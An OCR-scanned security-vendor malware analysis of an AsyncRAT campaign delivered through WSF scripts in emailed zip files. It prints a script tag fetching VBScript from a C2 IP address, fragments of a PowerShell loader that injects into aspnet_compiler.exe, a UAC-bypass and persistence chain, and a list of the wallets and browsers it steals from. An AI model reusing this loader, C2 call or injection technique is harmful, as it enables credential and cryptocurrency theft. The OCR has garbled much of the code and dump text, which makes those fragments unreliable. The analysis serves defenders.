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The AhnLab Security Emergency response Center (ASEC) analysis team previously posted about AsyncRAT
being distributed via files with the .chm extension. [1] It was recently discovered that this type of AsyncRAT
malware is now being distributed in WSF script format. The WSF file was found to be distributed in a compressed

file (.zip) format through URLs contained within emails.

[Download URLs]

1. https://#sdk ko dskkdkk com.br/PaySbaeal WP7.zip
2. https://Fskkkkkaskk 75 com/Order ed333c91f0fd.zip
3. https://Hrsksoksokaotksk* com/PAY37846wp.zip

4. https://***#k *43x* co/eBills37890913.zip

Decompressing the first downloaded zip file yields a file with a .wsf file extension. This file mostly consists of

comments as shown in the image below and only contains one <script> tag in the middle.
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ggbCSOZMvKkNVIUEMALnmCcS i LRAHMgg jXhi jUiwgbxIVRXTMEYGfohl goQDunwgAhAUKkMwWOTQON I gXY]
1U0JemkKml1CBTQZnikLNogcogUrcVT1di IpugAnEMywnyuwgXExi SXdR1 LSJudfRORJADWIhUdhkibTFt
ExLScNHoQgbXDJSAONomoOzCQ B IUbpwIVwgYshrek TFFmZUd] PnX IMYVrvr PXhKo fwPgVCDgrGGC
ktJErtNDvHIFYyfjGvVyslaN1VbwtD1AlghygZHkOZCwWNXxpRryMWjcoerQsoFvEZMtdxNLZS zMYCNMW jFWT:
doauMCXREDK1QWTs IMfbtcakaDiRhaUwvor LKYKCpDERTrZbSz ILViHxxhZCVTWUKIAQTrEsumgKFFWZ SN
EQcDhT juBHmUXT LWgQuMENAWY LKF T tVaYFPLVoMhQYTtChHFaamTbzQXLOSce I tpHsxZ5MVhe
oglbgmJtoculydtgHgowo LgK) TerykmNOHWE jgbxwiWdRNoDhWcoGKaSrFYgQkmOt1CaruGOEMpaEYyDPLX
ESSSIPE 1anguage ='VBScript' src="http://185.81.157.242:222/c.txt’
RMYeRukFvDtEKEJUryKogAmSilMWeXEhDdYWURTiOnBGzuxtSFkBvIPUEVazkBhLPWXjjFTZcVIoHRQzI
JyYgwagixrAfQveRr51VIgqzMBdOwKsPFTxyURIJhKANJOQRFHhPAPhZGentTyAnhyAfRkfmkPEgtbHGXbL
fzCEuKiaGDPTXhtQIVECCYYsJgNAY{wIPG] IgzwXUUcIiYTgfCOJEmbDooNBEJXHjgnmthJzxIjoBEuvy
cIJGZxWpdpTmkOgpIfbTyFsUVaolVcYGFmhiWongkYybbbrexEpQmWRSiRZgtbrgl iWWwdol FOvUgbypl
TVULRsvDksgGVvWIBNAdHivEI

RMYeRukFvDtKEJJryKtgAmSilMWeXKhDdYWwURTiOnBGzuxt SFkBvTPUEVazkBhLPWXjjFTZcVToHRQzIH
JYYqwaixrAfQveRr51VJqzMBAOWK s PTxyURJhKANJQRFHhPAPhZGentTYANhyATRKkEmkPEgtbHGXbLuXN
fzCKuKiaGDPTXhtQIVEKCCvYsJgNAY jwIPG]) IgzwXUUcIiYTgEiCOJEmbDooNBKjXHjgqnmthJzxIjoBEuVy
cIJGZxWpdpTmkOgqpIfbTyFaUVaolVeYGFmhiWongkYyvbbbrexEpOnmWRSiRZgrtbrgliWNwdolFOvUgbypl
IVULRsvDksqgGVWIBNAJHIVEI
RMYeRukFvDtEKEJIryKegAmSilMWeXEnDAdYWURTiOnBGzuxtSFkBvTPUEVazkBhLPWXJiFTZcVToHRQZIH

PrEOroHXD LA

oI xXraftin = gZzHMBO( e g X RulbDE AN JORFHD A HN D anhuatT HETmE

When this script is executed, a Visual Basic script is downloaded and run as shown below. This script downloads a
.jpg file (a zip file disguised as a jpg file) from the same C2 address.

Afterwards, it changes the file extension of this jpg file to .zip before decompressing it. The command string that
executes the file Error.vbs also contained in the compressed file is created into an xml file

(C:\Users\Public\temp.xml) and run with PowerShell.

Set alllosh = WScript.CreateCbject ("WScript.Shell"™)
STrXML = "<commands" & _

Set objF50 = CreateObject("Scripting Object™)
Set objFile = objFS0.CreateTextFile(" 1
objFile.Write strXML

objFile.Close

alllosh. Scommand =

Sxmldoc. ¢

The downloaded zip file contains many other scripts aside from the Error.vbs file.
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Afterwards, the remaining files (bat, ps1) are all executed in order. The role and execution flow of each file are

given below.

Error.vbs: Checking for administrator permission and executing Error.bat

Error.bat: Bypassing UAC and executing Error.ps1

Error.psl: Creating the shortcut file C:\Users\Public\Chrome.Ink, registering it to autorun (registry), then
executing it

pwng.bat: Bypassing UAC and executing pwng.ps1

pwng.psl: Fileless attack

%jpg (ZIP)

execute Error
.bat

download execute

i

download Error

vbs

execute via shortcut

register Auto-execution

execute S}M L7
Fileless Attack

execute

il

Error
psi

The file pwng.ps1 which is executed last converts the contained strings into a .NET binary before loading and

executing the binary. It runs by executing a legitimate process (aspnet_compiler.exe) and injecting a malicious

binary into this process. During these steps, three obfuscated variables are used.
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SIxxxe = '4
$SgeGWHZ = '

oo I Rhal il Josas
[Byte[]]1§jsewy = hesa §Jxxxe
[Byte[]]1$jsewty = hesa $geGWHZ

#F ol pasall pad le Jganldd JlaSe¥l plasiisl
SYUS = gws("!"1 114111111 11 11711711 *11!'*111'~114114111171 11 1'*1" Replace('!"','0"))

$JISEU = gws ("0 00 0 0 0 ! 0 1~Q! 00 140 ! 0 0 0 0 J1*" Replace('!™",'1"))
SKRDESEY = gws("01000011001110100101110001010111011010010110111001100100011011110111011101110011010111000100110101101

try {
Folosad Juans
$Assembly = [System.Reflection.Assembly]::Load($jsewty)

$AHDX = gws("010011100110010101110111010100000100010100110010001011100101000001000101")

$Type = $Assembly.GetType (SAHDX)

$Method = S$Type.GetMethod ($YUS)

F Lglhall Ol padiall plusiels diyyhil sleusal
$Arguments = [object[]] ($KRDESEY, $jsewy)
$Method.$JSEU. Invoke ($null, SArguments)

} catch {
FoAIS 0By SUS 131 Lia $LhsY1 dailas Lile! sy

}

[Meaning of Key Variables]

$jsewy: Malware that performs the features of AsyncRAT (the file to be injected into aspnet_compiler.exe)
$jsewty: Malware that performs the injection feature

$KRDESEY: The process the malware is injected into

(C:\Windows\Microsoft. NET\Framework\v4.0.30319\aspnet_compiler.exe)

The malware executed in the end is identified as AsyncRAT which has information exfiltration and backdoor

features. The key behaviors are as follows.

1. Maintaining Persistence
— Using schtasks to add a scheduled task
— Adding a registry

— Creating a bat file that executes and terminates itself
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(" #HnuRtHno i s

(filelnfo, ) “ o+ filelnfo,

(Filelnfo,

0 (Filelnfo,
Thread. {

. FileMode,

2. Exfiltrating Information

— Computer information: OS version, users, anti-malware product list, etc.

— UserData information in browsers: Chrome, Brave-Browser, Edge

— Cryptocurrency wallet information: RabbyWallet, Atomic, Exodus, Ledger_Live, Electrum, Coinomi, Binance,

Bitcoin
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[# buffer.bin

Offsec(nh) 00 01 02 03 04 05 06 OT7 OB 05 OA OB OC OD OE OF Decoded texoc

00000000 DE 00 28 RE 50 €1 €3 €B 65 74 AR 43 6C €% 65 EE P. (jPacket3Clien
0000DoLD

QQQQDo20

00000030 55 73 65 72 A3 6C 63 6% A2 4F 53 BS 20 57 €% 6E Userflch«0Sp Win
Q0000040 €4 €F TT 73 20 31 30 20 50 72 GF 20 36 34 62 €% dows 10 Pro ©4bi
QQO00050

QQ0Q0060

Q0000070

QOQQ0080 AS 41 €4 €D €% €E A4 55 T3 €5 T2 AB 50 €3 72 €6 ¥AdminHUser«Perf
Q0000050 &F 72 €D €1 6E €3 €5 D9 45 €4 6E 53 70 7% 20 T& crmanceﬂtdnﬁpy v
Q00000A0 3& ZE 34 2ZE 30 20 28 33 32 2D 62 69 T4 2C 20 2ZE 6£.4.0 (32-bic,
000000B0 4E 45 54 20 46 72 61 €D 65 77 6F 72 6B 2C 20 44 HNHET Framework, D
QQQQQoCD

0000D0DD

00000D0OED €1 73 T4 €5 &2 &9 6E
000000FD €9 76 69 72 75 73 BO
QQQQOL00 &5 65 €EE B84 &5 T2
00000113 72 6l &C 73
00000120 &5 72 el 47 58 AS 46

6E 75 6C 6C A9 41 €E 74 astebindnull@int
69 6E 64 6F 77 73 20 44 ivirus°Windows D
4D 65 74 €1 SF 4F 70 €5 efender=Meta_Ope
AC 4D 65 74 €1 SF BF 70 ra¥False-Meta fp
6C 73 &5 AC 4D &5 74 &l eraGX¥False-Meta

s g
B =

.

T
U'lﬂ'lg:l'.l'lﬂ-‘
= -1

00000130 5F 46 69 72 65 66 6F 72 A5 46 61 6C 73 65 AB 4D _Firefox¥False«l
00000140 €5 74 61 SF 43 68 72 6F €D €5 AS 46 €1 €C 73 €5 eta_ Chrome¥False
Q0000L50 AR 4D 65 T4 €1 SF 42 72 61 76 65 AS 46 €1 €C 73 *Me=ta Brave¥Fals
00000160 &5 A% 4D 65 T4 61 SF 45 €4 €7 &5 AS 46 €l &6C 73 e@Meta Edge¥Fals
Q0000170 €5 AE 30 €8 €1 6E T4 ©F 6D SF 43 6% 72 €F €D €5 e®Phantom Chrome
00000180 AS 46 61 6C 73 65 AD 50 68 €1 6E 74 6F €D SF 42 ¥False.Phantom B
00000150 T2 €1 Te €5 AS 4¢ €1 &C 73 €5 AE 42 €9 €E €1 €E rawve¥Falsed®Binan

Q00001A0 €3 €5 S5F 43 68 72 &F 6D 65 AS 46 &1 6C 73 &5 AC ce_Chramt¥Falseﬂ
00000180 42 €% BE 61 6E €3 B3 5F 45 €4 67 €3 A5 46 61 €C Binance Edge¥Fal
000001CY T3 €5 AE 54 T2 6F 6E 4C 69 €E 6B 43 68 72 6F €0 se@TronLinkChrom
000001D0 65 AS 46 61 6C 73 65 AE 42 65 T4 4B 65 €5 70 5F e¥FalseS8BitHeep

€l €C 73 €5 AF 43 &F €% Chrome¥Falsse Coi
72 6F 6D €5 A5 4€ €1 €C nbase Chrome¥Fal
5F 43 &8 72 6F €D &5 A5 se-Ronin ChromeW¥
75 73 T4 SF 43 €8 T2 EF FﬂlseaTIEzt_Chrn
2 69 T4 50 €1 79 EF me¥False.BitPay_
€l &6C T3 65 AR 4€ 32 €1 Chrome¥False?F2a
46 61 6C 73 65 A% 46 32 Chrome¥False@F2
46 €l 6C 73 €5 A% 4€ 32 a Brave¥False 'F2
6l 6C 73 65 AC 52 €1 €2 a_Edge¥False-Rab
T4 A5 46 €1 €C 73 €5 AE by Wallec¥False«
69 76 65 AS 46 €1 &€C 73 Ledger Live¥Fals

00000D1ED 43 €8 T2 €F €D &5 AS
000001Fd €E &2 61 T3 &5 5F 43
00000200 73 €5 AC 52 6F &E 69
00000210 46 &1 &C T3 &5 AC 54
00000220 6D &5 A5 45 &l &C 73
00000230 43 &8 72 &F eD &5 AS
00000240 5SF 43 68 72 €F €D 65
QQO00250 €l SF 42 72 el Te &3
Q0000260 €1 SF 45 4 €7 &% AS
00000270 &2 7% 5F 57 61 &C &C

sk OB B M s
LU PO I I T T SV e Y
™
ka2

00000280 4C €5 64 €7 €65 72 3F 4C
Q0000290 €5 A 41 74 €F €D €9 63 AS 46 61 6C T3 €5 A6 25 e|Atomic¥False E

QO0002A0 78 EF €4 75 T3 AS 46
0000D2EB0 T4 T2 T5 €D AS 46 61
000002C0 6D €% AS 46 61 6C T3
00000200 AS
0000D2ZED &F
0Q000D2FD 47

6C 73 65 AZS 45 &C 65 €3 xodus¥False 'Elec
T3 65 AT 43 6F €% 6E €F rtrum¥FalseSCoino
AT 42 69 6E 61 6E €3 €5 mi¥FralseSBinance
Bl €C T3 €5 AC 42 €9 74 63 &F €69 EE 5F 43 !FalaeqﬂitcoinJC
65 RS 46 €1 6C 73 &5 A4 50 6F 6E €7 AD A5 ore¥FalsexPFong ¥
6F 75 T0O AT 44 &5 66 €1 T5 &€C 74 RE 42 EF GroupSDefault«Bo

d =1 b

B B3
&N
LU I o

00000300 6F &6C 57 €1 6C 6C 65 74 73 AS 46 61 6C 73 65 R olWallets¥False™
Q0000310 4C €1 73 74 54 €% 6D 65 AB 30 64 20 30 €8 20 30 LastTime«0d Oh 0O
00000320 €D 20 30 73 00 00 Q0 OO0 OO0 OO0 OO0 OO0 OO QOO0 Q00 00 m O08..... 000000
00000330 00 00 Q0 00 00 00 Q0 OO0 Q0 00 00 00 Q0 00 00 00 ..seeenrcasnssns
Q0000340 00 00 Q0 00 00 00 Q0 OO0 00 00 00 00 Q0 00 00 00 ..ieeevrsasassns
Q0000350 00 00 Q0 00 Q0 00 Q0 00 00 Q0 00 00 Q0 Q00 00 00 ..iceesisassssss

Q0 00 00 00 00 Q0 00 00 00 00 00 00 00 00 00 .. .cciviiaseenns

00000360 00
00000370 00 00 00 00 00 00 Q0 OO0 00 00 00 00 00 00 00 00 ....cccvieavennss

Bl TaTaTaicd-ly Af A A A0 a0 A8 &0 A8 88 A8 A0 A8 A8 AS AR A0

(=)

Additionally, the C2 server where this information is sent is contained within the file as an encrypted string and is
displayed as follows upon execution. The threat actor combines this C2 domain and multiple port numbers to

make multiple connection attempts.
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S ipaddress

naField.Connect( i paddr FUTRE

ackingField. !

As such, the threat actor distributes the same malware in various ways, using elaborate fileless methods without
EXE files. Users must always be cautious when opening files or external links contained within emails and use

monitoring features in security products to identify and restrict access from threat actors.
[File Detection]

e Downloader/Script.Agent (2023.11.29.02)

e Trojan/VBS.RUNNER.SC194987 (2023.11.30.04)

e Trojan/BAT.RUNNER.SC194988 (2023.11.30.04)

e Trojan/BAT.RUNNER.SC194985 (2023.11.30.04)

e Trojan/PowerShell. Runner.SC194986 (2023.11.30.04)
e Trojan/PowerShell.Generic.SC194981 (2023.11.30.04)
e Trojan/PowerShell.Generic.SC194982 (2023.11.30.04)
e Trojan/Win.Injector (2023.11.30.04)

o Backdoor/Win.AsyncRAT (2022.07.12.00)

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com
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